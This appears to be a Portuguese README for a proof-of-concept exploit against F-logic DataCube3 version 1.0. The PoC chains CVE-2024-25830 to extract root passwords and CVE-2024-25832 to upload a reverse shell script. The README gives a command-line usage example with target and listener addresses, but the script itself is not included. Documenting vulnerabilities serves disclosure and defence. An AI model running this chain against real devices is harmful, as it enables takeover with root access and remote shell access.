CVE-2024-25830 e CVE-2024-25832 - Controle de Acesso Improprio e Upload de Arquivo Irrestrito no DataCube3.

Visão Geral

Este repositório apresenta uma Prova de Conceito (PoC) para uma cadeia de exploração em duas etapas direcionada a dispositivos DataCube3. Ela combina a CVE-2024-25830 (Controle de Acesso Improprio) para extrair senhas de root e a CVE-2024-25832 (Upload de Arquivo Irrestrito) para implantar um script de reverse shell. Esta PoC complementa a análise detalhada de vulnerabilidades no post do blog "Relatório de Vulnerabilidade do DataCube3."

Versões afetadas

Todos os dispositivos F-logic DataCube3 versão 1.0.

Uso do Script PoC

# Usage: python datacube3.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python datacube3.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

Prova de Conceito em Vídeo

Nota

APENAS PARA FINS EDUCACIONAIS.